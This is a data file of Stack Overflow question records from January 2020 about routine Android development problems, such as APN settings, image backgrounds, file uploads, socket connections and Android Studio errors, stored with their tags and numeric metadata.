59,929,425 | java.lang.NoClassDefFoundError: Failed resolution of: Landroid/telephony/data/ApnSetting$Builder; | <p>I'm trying to create a mobile application to add APN(Access Point Network) into mobile application. Then I used <code>ApnSetting.Builder()</code> according to the <a href="https://developer.android.com/reference/android/telephony/data/ApnSetting.Builder.html" rel="nofollow noreferrer">android documentation</a></p>
... | I'm trying to create a mobile application to add APN(Access Point Network) into mobile application. Then I used ApnSetting.Builder() according to the android documentation I implemented it as following in MainActivity class: [CODE] But it is showing the following error: [CODE] So what should I do for that? | android | 1 | 2020-01-27T10:37:11.570Z | 2,020 | 1 | 10 | 0 | 773 | 1 | 307 | 97 | 1 | 2 | true | false | false | false | false | false | low |
59,929,523 | Unshorten URL in Android | <p>I would like to find the final URL for these types of links using java. They are not short links as such like bit.ly or goo.gl however it is a URL wrapped in another.</p>
<p>Here is the type of link I would like to unshorten.</p>
<p>Original URL : <a href="https://www.google.com/aclk?sa=l&ai=DChcSEwj0iN_6y6PnA... | I would like to find the final URL for these types of links using java. They are not short links as such like bit.ly or goo.gl however it is a URL wrapped in another. Here is the type of link I would like to unshorten. Original URL : https://www.google.com/aclk?sa=l&ai=DChcSEwj0iN_6y6PnAhUPwN4KHfPWB_EYABABGgJ3Yg&sig=AO... | java|android|url | 0 | 2020-01-27T10:42:53.380Z | 2,020 | 1 | 10 | 0 | 303 | 1 | 675 | 24 | 3 | 0 | false | false | false | false | false | false | zero |
59,929,530 | Black background behind image in ImageView | <p>Seems silly but I have tried using ImageButton, Image view but the black square behind circular image is not going. I am using png image and want transparent background.</p>
<p>I have attached the expected output, layout view in android and real device but look very different and nothing seems to work</p>
<p>Expec... | Seems silly but I have tried using ImageButton, Image view but the black square behind circular image is not going. I am using png image and want transparent background. I have attached the expected output, layout view in android and real device but look very different and nothing seems to work Expected result Actual r... | android|android-imageview|android-resources | 0 | 2020-01-27T10:43:12.577Z | 2,020 | 1 | 10 | 0 | 2,083 | 2 | 420 | 42 | 3 | 1 | true | false | false | false | false | false | zero |
59,929,621 | How to upload a lot of files asynchronously with Kotlin coroutines and retrofit2 | <p>I am trying to figure out what is the best way to handle the upload of a lot of data ( up to 1000s of files/images, around 500kb each) with retrofit2 and kotlin.</p>
<p>I have tried to use coroutines withContext() method, but when using enqueue, it just iterates through my entire list of files enqueuing them all at... | I am trying to figure out what is the best way to handle the upload of a lot of data ( up to 1000s of files/images, around 500kb each) with retrofit2 and kotlin. I have tried to use coroutines withContext() method, but when using enqueue, it just iterates through my entire list of files enqueuing them all at once, whic... | android|kotlin|retrofit2|kotlin-coroutines | 3 | 2020-01-27T10:48:05Z | -1 | -1 | -1 | -1 | 1,571 | 0 | 1,139 | 80 | 4 | 2 | true | true | false | false | false | false | low |
59,929,678 | How to set custom name for android language directory? | <p>I would like to have different directories for multiple languages. For example I have Kurdish language with 2 dialects - Badini and Sorani. But there are no specific regions for them in Android.</p>
<p><a href="https://i.stack.imgur.com/hL4Po.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/hL4Po.... | I would like to have different directories for multiple languages. For example I have Kurdish language with 2 dialects - Badini and Sorani. But there are no specific regions for them in Android. Can I name them customly for each region? Correct dir naming for Kurdish but one dir for all regions - not desired Inorrect n... | android|android-studio | 0 | 2020-01-27T10:51:37.613Z | 2,020 | 1 | 10 | 0 | 110 | 1 | 424 | 54 | 2 | 0 | false | false | false | false | false | false | zero |
59,929,725 | Problem connecting Android app to automation devices using socket connection | <p>This requirement for automation devices.</p>
<p>Hello, I want Send - Receive data using Static IPAddress and Port with WiFi connection. (<strong>It's working fine for me using TCPIP Socket Programming.</strong>)</p>
<p>Now, My phone connects with router wifi, but here Internet connection not available. Then after ... | This requirement for automation devices. Hello, I want Send - Receive data using Static IPAddress and Port with WiFi connection. ( It's working fine for me using TCPIP Socket Programming. ) Now, My phone connects with router wifi, but here Internet connection not available. Then after I want to do the above process bet... | java|android|sockets|tcp|io | 0 | 2020-01-27T10:54:18.520Z | 2,020 | 1 | 10 | 0 | 39 | 0 | 520 | 76 | 5 | 0 | false | true | false | false | false | false | zero |
59,929,827 | Expo does not stop reloading after some Errors | <p>I wanted to share a very annoying problem I have with Expo React-Native. It does not break the app or something but it is just annoying to work with.</p>
<p>I am using Expo and I am using the Android Studio Emulator. Expo is installed on a Virtuall Device and its working properly, however I have this problem for a ... | I wanted to share a very annoying problem I have with Expo React-Native. It does not break the app or something but it is just annoying to work with. I am using Expo and I am using the Android Studio Emulator. Expo is installed on a Virtuall Device and its working properly, however I have this problem for a longer time... | android|reactjs|react-native|android-emulator|expo | 1 | 2020-01-27T11:01:26.757Z | 2,020 | 1 | 11 | 0 | 362 | 0 | 827 | 46 | 5 | 1 | true | true | false | false | false | false | low |
59,929,839 | Don't change textinputlayout hint color while setting error | <p>I am implementing form using textinputlayout in Android</p>
<p>I don't want to change hint text color while setting error on textinputlayout as per below <a href="https://i.stack.imgur.com/Coi1j.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Coi1j.png" alt="textinput layout with error enabled" />... | I am implementing form using textinputlayout in Android I don't want to change hint text color while setting error on textinputlayout as per below [CODE] // As of now this code is changing error message and hint color to red. But I don't want to change hint color to red. Only message color should be changed to red I wa... | android|android-layout | 1 | 2020-01-27T11:02:16.787Z | 2,020 | 1 | 11 | 0 | 648 | 4 | 404 | 59 | 2 | 1 | true | false | false | false | false | false | low |
59,929,881 | ModuleRegistryConsumer error after ejecting to bare react native | <p>I created a project using expo work flow but for some reason I had to eject it to bare react native work flow. After ejecting if I install any expo package. On android build it gives me an error which is mainly related to a ModuleRegistryConsumer. I get this error for various files within the package. </p>
<pre><co... | I created a project using expo work flow but for some reason I had to eject it to bare react native work flow. After ejecting if I install any expo package. On android build it gives me an error which is mainly related to a ModuleRegistryConsumer. I get this error for various files within the package. [CODE] This is th... | android|react-native|expo | 1 | 2020-01-27T11:05:18.003Z | 2,020 | 1 | 11 | 0 | 364 | 1 | 468 | 64 | 3 | 1 | true | false | false | false | false | false | low |
59,929,900 | Disable power button in android didn't work | <p>I am developing an Android application for the deaf using the accessibility service</p>
<p>The problem is that deaf people do not need a power button because they will use another device</p>
<p>I tried to call this code</p>
<pre><code>val commandLine = "input keyevent KEYCODE_POWER"
Runtime.getRuntime().exec(comm... | I am developing an Android application for the deaf using the accessibility service The problem is that deaf people do not need a power button because they will use another device I tried to call this code [CODE] And it didn't work. Moreover, the device didn't hook the power button press I may use the GLOBAL_ACTION_LOC... | android|android-studio|accessibilityservice|accessibility | 0 | 2020-01-27T11:06:27.277Z | 2,020 | 1 | 11 | 0 | 218 | 1 | 598 | 43 | 4 | 1 | true | false | false | false | false | false | zero |
59,929,906 | How to clear Fatal error initializing 'com.intellij.openapi.vfs.newvfs.ManagingFS' | <p>When i Tried to open android studio it throws the following error</p>
<p>Tried:
1. Restarting the system
2. Un-installing and reinstalling</p>
<pre><code> java.lang.RuntimeException: com.intellij.ide.plugins.PluginManager$StartupAbortedException: Fatal error initializing 'com.intellij.openapi.vfs.newvfs.ManagingFS... | When i Tried to open android studio it throws the following error Tried: 1. Restarting the system 2. Un-installing and reinstalling [CODE] | android|android-studio|intellij-14 | 0 | 2020-01-27T11:06:51.027Z | 2,020 | 1 | 11 | 0 | 252 | 0 | 138 | 82 | 3 | 1 | true | true | false | false | false | false | zero |
59,929,919 | Original marker doee not go invisible when the route it's implemented | <p>I added <code>polylines</code>to my map so I can trace routes between points. Right now, the <code>polylines</code> appear after pressing <code>Yes</code> in an <code>alert dialog</code>, that's activated when the user presses the <code>infoWindow</code>. So, my plan is to get the <code>marker</code> when it's click... | I added polylines to my map so I can trace routes between points. Right now, the polylines appear after pressing Yes in an alert dialog , that's activated when the user presses the infoWindow . So, my plan is to get the marker when it's clicked on the Yes , and when the polylines are traced, to hide it. I added marker.... | android | 0 | 2020-01-27T11:07:49.627Z | 2,020 | 1 | 11 | 0 | 13 | 0 | 562 | 69 | 1 | 1 | true | true | false | false | false | false | zero |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.